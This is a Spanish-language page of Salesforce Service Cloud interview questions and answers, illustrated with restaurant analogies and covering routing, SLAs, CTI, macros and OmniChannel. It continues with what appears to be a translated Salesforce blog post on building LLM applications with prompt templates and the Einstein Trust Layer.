En el centro comunitario, piense en el Portal del Cliente/Comunidad como el salón principal donde todos se reúnen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al salón principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.
3. ¿Cómo pueden los clientes utilizar las comunidades para autoservicio?
En una comunidad de clientes, los clientes pueden explorar los artículos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y términos, sin necesidad de llamar directamente a la “oficina del administrador” (contactar con soporte).
4. ¿Cuáles son las mejores prácticas para crear una comunidad de clientes?
La comunidad de clientes de Salesforce debe ser fácil de usar y proporcionar valor real. Asegúrese de que sea de fácil acceso, con categorías claras para la discusión y una amplia base de conocimientos. Actualice y modere periódicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participación reconociendo a los miembros activos u organizando eventos o desafíos comunitarios.
1. ¿Se puede automatizar el enrutamiento de casos? ¿Si es así, cómo?
En Service Cloud, los casos se pueden enrutar automáticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema común, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.
2. ¿Cómo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?
Imagínese el restaurante prometiendo que cada pedido se servirá en 30 minutos o, de lo contrario, será gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse según su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. ¡Mantiene al equipo responsable y a los clientes contentos!
3. ¿Podría definir la Gestión de derechos en el contexto de Salesforce Service Cloud?
La gestión de derechos en Salesforce Service Cloud es una función que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en función de factores como garantías de productos, contratos de servicio o planes de soporte. Esta característica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.
4. ¿Puedes explicar la funcionalidad de Visual SLA Timelines?
Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representación gráfica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso según el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los términos del SLA.
1. ¿Cómo mejoran los informes y paneles las operaciones de servicio?
Imagínese que al final de cada día, el gerente recibe un resumen de todo lo sucedido: cuántos clientes llegaron, cuál fue el plato más popular, cuántos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visión rápida pero completa de cómo van las cosas. ¿Los clientes esperan demasiado? ¿Algunos problemas se resuelven más rápido que otros? Esta información ayuda al equipo a saber qué funciona y qué no, para que puedan mejorar su "servicio".
2. ¿Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es así, ¿cómo?
Service Cloud le permite realizar un seguimiento del desempeño de sus agentes. Puede ver cuántos casos han resuelto, qué tan rápido están trabajando e incluso cómo los clientes califican su servicio. Es como un gráfico de desempeño para los camareros, pero para sus agentes de servicio.
3. ¿Cuáles son algunas métricas de servicio comunes que puede rastrear en Service Cloud?
En el mundo de Service Cloud, las métricas comunes incluyen cosas como
1. ¿Qué es la Integración Telefónica Computadora (CTI)?
Es un término para un sistema que permite que las computadoras interactúen con los teléfonos. Significa que cuando alguien llama, el sistema de atención al cliente sabe inmediatamente quién es y cuál es su historial con la empresa.
2.¿Cómo mejora CTI el servicio al cliente?
En el restaurante sin CTI, cada llamada de un cliente sería como una reunión de camareros durante la cena por primera vez. Tendrían que volver a hacer todas las preguntas básicas: "¿Tiene alguna alergia?" “¿Prefieres asiento junto a la ventana o en el pasillo?” etcétera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres alérgico al maní, saben que te gusta el queso extra y tienen lista tu mesa favorita. En términos de atención al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.
3. ¿Puede darnos un ejemplo de cómo se utiliza CTI en un escenario de call center?
Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra información relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qué llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.
1. ¿Qué es el servicio al cliente social en Salesforce?
¿Sabes cómo puedes chatear con amigos y ver qué están haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.
2. ¿Cómo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?
Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegurándose de que nadie se sienta ignorado y que cada problema se resuelva rápidamente.
3. ¿Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?
¡Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda quién dijo qué, almacena información sobre los problemas del cliente e incluso cómo se resolvió. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que continúa la conversación justo donde la dejó, como si retrocediera en el historial de chat con un amigo.
1. ¿Cómo funciona Live Agent en Service Cloud?
Imagínese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parecía confundido. Así es Live Agent en el mundo online. Es una característica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras están en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.
2. ¿Cuáles son los beneficios de utilizar el chat para atención al cliente?
Los clientes obtienen atención instantánea y sus preguntas pueden responderse de inmediato. Además, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes líneas de pago.
3. ¿Se pueden automatizar las respuestas en Live Agent?
Sí, si alguien dice "hola", el sistema puede decir automáticamente "¡Hola!". ¿Cómo puedo ayudarte hoy?" Está programado para reconocer palabras o preguntas específicas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarrápidas a preguntas comunes.
4. ¿Cómo maneja Salesforce los mensajes SMS para el servicio de atención al cliente?
Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajería SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones rápidas o incluso responder preguntas, todo a través de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversación.
1. ¿Cómo se utiliza el correo electrónico en Service Cloud?
No se trata sólo de enviar y recibir correos electrónicos; es un sistema completo que gestiona las comunicaciones por correo electrónico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qué se dijo y cuándo.
2. ¿Puedes automatizar las respuestas por correo electrónico?
– ¡Absolutamente! Según ciertas palabras clave en el correo electrónico del cliente o criterios específicos, el sistema puede enviar una respuesta escrita previamente. Es instantáneo, por lo que los clientes no tienen que esperar y les da a los agentes reales más tiempo para manejar los problemas complejos que necesitan un toque humano.
3. ¿Cómo se asegura de que los correos electrónicos de los clientes se envíen a los agentes adecuados?
Utilice el enrutamiento de correo electrónico en Service Cloud. Usando las reglas que usted configura, los correos electrónicos se pueden dirigir a ciertos agentes según el contenido del correo electrónico, la información del cliente o incluso la carga de trabajo de cada agente.
1. ¿Cómo respalda Salesforce el servicio al cliente móvil?
Con la aplicación móvil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su teléfono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.
2. ¿Cuáles son las limitaciones del servicio al cliente móvil en Salesforce?
Si bien la aplicación móvil Salesforce es súper poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar difíciles de navegar en una pantalla más pequeña y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.
1. ¿Cómo se mide la satisfacción del cliente en Service Cloud?
En Service Cloud, no solo responde las consultas de los clientes y espera que estén satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos automáticamente después de que se resuelva un caso. Es como preguntar: "¿Qué le pareció nuestro servicio?" ¡para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!
2. ¿Qué es una puntuación de satisfacción del cliente (CSAT)?
CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuación que los clientes otorgan en función de su satisfacción con una interacción específica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuación, mejor trabajo hizo para cumplir (¡o superar!) sus expectativas.
3. ¿Qué es Net Promoter Score (NPS) y cómo se utiliza en Salesforce?
NPS es como preguntar a sus comensales: "¿Recomendaría nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata sólo de un plato de sopa; ¡Lo importante es si toda la experiencia gastronómica les hace querer contárselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuación a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.
4. ¿Se pueden integrar herramientas de encuestas externas con Salesforce?
Puede integrarlo con herramientas de encuestas externas que quizás ya esté utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, reúne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.
1. ¿Qué es Salesforce Einstein y cómo se aplica a Service Cloud?
Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.
2. ¿Cómo funcionan los Bots de Einstein?
Se encargan de las tareas sencillas y rutinarias del servicio de atención al cliente, como responder preguntas comunes o guiar a un usuario a través de un proceso establecido.
3. ¿Puede Einstein sugerir respuestas a los agentes?
Es como un manual dinámico e inteligente que no sólo tiene todas las respuestas sino que también sabe exactamente cuándo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o solución, acelerando el servicio y asegurándose de que las "comidas" de su servicio al cliente sean siempre deliciosas.
1. ¿Qué es Field Service Lightning?
Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos súper organizado que sabe qué camión de comida está dónde, qué sirven, quién está disponible para servir delicias y quién se toma un descanso. ¡Se trata de administrar su equipo sobre la marcha, asegurándose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desafío "culinario" (problema del cliente) que encuentren en el campo!
2.¿Cómo se integra Field Service Lightning con Service Cloud?
Field Service Lightning, cuando se integra con Service Cloud, brinda información en tiempo real hacia y desde las unidades móviles (FSL), para que todos sepan lo que sucede a su alrededor.
3. ¿Puede programar y enviar agentes de servicio de campo utilizando Salesforce?
¡Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que estén listos para mejorar sus especialidades según sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.
Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional fácil de recordar. ¡Imagínate que estamos charlando en tu cafetería favorita!
1.¿Qué es una macro en Salesforce Service Cloud?
Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "¡Oye, ya tengo esto!". ¡Y listo!
2. ¿Todos pueden usar mis Macros?
Si los mantiene públicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guardársela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.
3. ¿Pueden las macros interactuar con aplicaciones de terceros en Salesforce?
– Directamente, no. Las macros están diseñadas para automatizar las funcionalidades estándar de Salesforce.
4. ¿Es posible deshacer las acciones de una Macro una vez ejecutada?
No, no hay un botón "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.
5. ¿Se pueden programar las macros para que se ejecuten a una hora específica?
No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador automático.
6. ¿Qué tipo de acciones no puedes realizar con una Macro?
Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.
7. ¿Cómo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?
Utilice carpetas para organizar y compartir colecciones de macros.
8. ¿Se puede modificar una macro activa? ¿Hay que tomar alguna precaución?
Sí, puede editar una macro y probar las modificaciones antes de su uso generalizado.
9. ¿Es posible asignar Macros específicas a usuarios o perfiles específicos?
Si bien no puede asignar una macro directamente a usuarios específicos, puede controlar el acceso utilizando las carpetas de macros y la configuración de uso compartido de Salesforce.
10. ¿Cómo se relacionan las macros con la API de Salesforce?
Las macros no interactúan directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.
11. ¿Se pueden utilizar las macros junto con Salesforce Flows?
Las macros y los flujos tienen diferentes propósitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.
12. ¿Cómo funciona el manejo de errores con Macros?
Si una macro encuentra un problema durante la ejecución, se detiene y se muestra un mensaje de error.
13. ¿Pueden los usuarios sin privilegios de administrador crear o modificar macros?
Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.
14. ¿Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?
No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditoría estándar de Salesforce para ver los cambios en los registros.
15. ¿Cuál es el papel de las instrucciones macro en el proceso de creación?
Las instrucciones macro son el corazón de la macro y dictan qué acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.
29. ¿Puedes usar macros para enviar correos electrónicos con archivos adjuntos?
No, las macros pueden automatizar el proceso de envío de un correo electrónico, pero no pueden agregar archivos adjuntos.
1. ¿Puedes explicar qué es OmniCanal en Salesforce?
OmniCanal es una característica de Salesforce que permite la gestión de elementos de trabajo entrantes desde diferentes canales de comunicación. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en función de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.
2: ¿Cómo beneficia OmniCanal a un equipo de servicio al cliente?
OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.
3. ¿Cuál es la diferencia entre OmniCanal y distribución del trabajo tradicional?
La distribución tradicional del trabajo a menudo implica una asignación manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige automáticamente el trabajo a los agentes más adecuados según criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea más rápido y eficiente.
4. ¿Puede explicar el “Estado de presencia” en OmniCanal?
“Estado de presencia” se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si están disponibles, ocupados o ausentes, y OmniCanal utiliza esta información para enrutarles el trabajo en consecuencia.
5. ¿Cómo garantiza OmniCanal que los casos de alta prioridad se manejen rápidamente?
OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan automáticamente según estos niveles de prioridad. Los elementos de alta prioridad se envían al principio de la cola para que se atiendan más rápido.
6. ¿Se puede integrar OmniCanal con otras funciones de Salesforce?
Sí, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atención al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.
7. ¿Cómo admite OmniCanal los diferentes canales de comunicación?
OmniCanal es versátil al admitir varios canales de comunicación como correo electrónico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a través de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.
8. ¿Puede describir un escenario en el que el enrutamiento omnicanal podría resultar beneficioso?
Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles según sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.
9. ¿Cuáles son los tipos de Omni Channel?
Basado en cola → Asignar agentes a la cola
Basado en habilidades → Asignar habilidades a los agentes
Enrutamiento externo → Configuración de enrutamiento de terceros
10. ¿Cómo configurar Omni Channel?
11. ¿Cómo crear un Canal de Atención?
Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesión SOS o objeto personalizado.
12. ¿Cómo crear una configuración de enrutamiento?
Las configuraciones de enrutamiento determinan cómo se enrutan los elementos de trabajo a los agentes.
Utilícelos para priorizar la importancia relativa y el tamaño de los elementos de trabajo de sus colas.
13. ¿Explicar los ajustes de configuración de enrutamiento?
Prioridad de ruta:
El orden en el que los elementos de trabajo de la cola asociados con esta configuración de enrutamiento se enrutan a los agentes. Los objetos en colas con un número menor se enrutan primero a los agentes.
Modelo de enrutamiento:
Determina cómo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuración.
Tiempo de espera de empuje (segundos):
Establece un límite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.
Unidades de Capacidad:
Cantidad de capacidad total del agente.
1. ¿Cómo diseñaría una solución para respaldar a un equipo de soporte multilingüe que utiliza Service Cloud?
Service Cloud de Salesforce admite equipos multilingües mediante el uso de funciones como Translation Workbench, que le permite traducir objetos estándar y personalizados, reglas de validación, etiquetas de campo y más, a cualquiera de los idiomas admitidos.
Además, los artículos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar información en varios idiomas.
También puede configurar OmniCanal para enrutar casos a los agentes adecuados según sus habilidades lingüísticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacción del cliente.
2. ¿Puede explicarme el proceso de diseño de una solución de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resolución oportuna del caso?
3. ¿Cómo abordaría el diseño de una solución para un centro de llamadas a gran escala que necesita gestionar grandes volúmenes de casos y llamadas?
– Para los centros de llamadas de gran volumen, le conviene aprovechar la función OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados según su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integración de la telefonía mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la información relevante del cliente al alcance de su mano.
4. ¿Cuál es su experiencia con la integración de aplicaciones de terceros en Service Cloud y cómo ha abordado la solución de problemas de integración en el pasado?
Mi enfoque implica primero garantizar que la aplicación de terceros tenga una documentación API sólida y cumpla con las mejores prácticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integración, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si están disponibles.
5. ¿Cómo diseñaría una solución que utilice Service Cloud para rastrear la opinión del cliente e incorporar esa información en los flujos de trabajo de gestión de casos?
Service Cloud puede integrarse con herramientas que ofrecen análisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electrónicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opinión se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.
6. ¿Puede dar un ejemplo de cómo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?
Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aquí se puede acceder a los artículos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. También se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementación de un chatbot a través de Einstein Bots también puede desviar consultas rutinarias al proporcionar respuestas automáticas a preguntas comunes.
7. ¿Has trabajado con Service Cloud Voice? ¿Cómo ha utilizado esta tecnología para mejorar el rendimiento del call center y la satisfacción del cliente?
Service Cloud Voice integra la telefonía en Salesforce, brindando una vista unificada del cliente y transcripción de llamadas en tiempo real. Esto permite a los agentes centrarse más en el cliente que en tomar notas. La transcripción en tiempo real, impulsada por Einstein, también puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes más nuevos. La conclusión posterior a la llamada se acelera porque los datos de la llamada ya están en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos históricos de llamadas brindan información valiosa para el análisis de la opinión del cliente y el desempeño de los agentes, lo que impacta positivamente la capacitación y la satisfacción del cliente.
8. ¿Cómo abordaría el diseño de una solución para una empresa que opera en varios países con diferentes regulaciones de privacidad de datos?
– El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones específicas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar quién puede acceder a qué datos.
9. ¿Cómo ha abordado los problemas de escalabilidad y rendimiento al diseñar soluciones de Service Cloud para grandes empresas?
10. ¿Cómo ha utilizado Service Cloud para mejorar la retención de clientes y reducir las tasas de abandono?
En Service Cloud, la retención de clientes se puede mejorar significativamente utilizando las sólidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de análisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacción del cliente e identificar problemas comunes que provocan la insatisfacción del cliente. Al integrar los comentarios directamente en el sistema de gestión de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacción y retención del cliente. Además, características como la comunicación personalizada con el cliente, artículos de conocimiento para el autoservicio y la resolución eficiente de casos a través del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo así la deserción.
11. ¿Ha trabajado con la funcionalidad Live Agent de Service Cloud? ¿Cómo ha utilizado esta tecnología para mejorar las experiencias de atención al cliente?
Sí, utilicé Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instantáneamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacción general. Descubrí que incorporar el chat de Live Agent en sitios web y aplicaciones móviles donde los clientes son más activos reduce significativamente la barrera para acceder al soporte.
12. ¿Puede describir cómo diseñaría una solución de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado según el problema del cliente y el conjunto de habilidades del agente?
Para lograr esto, aprovecharíamos la función OmniCanal, que permite enrutar los casos según el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.
13. ¿Cómo abordaría el diseño de una solución de Service Cloud que pueda manejar grandes volúmenes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacción del cliente?
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.
Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:
Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:
Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.
Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.
En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.
Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.
Por ejemplo, así es como se vería la llamada API usando la API OpenAI:
Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.
Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:
Escriba un correo electrónico de presentación para el director ejecutivo de Acme.
El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.
Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:
Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542
Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:
Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:
Así es como podrían verse estos pasos de construcción rápidos en Apex:
El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.
Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.
Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:
Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}
{{/oportunidades}}
Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.
Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.
Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?
Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:
Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.
Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.
Así es como funciona:
Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?
La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:
Para construir el mensaje:
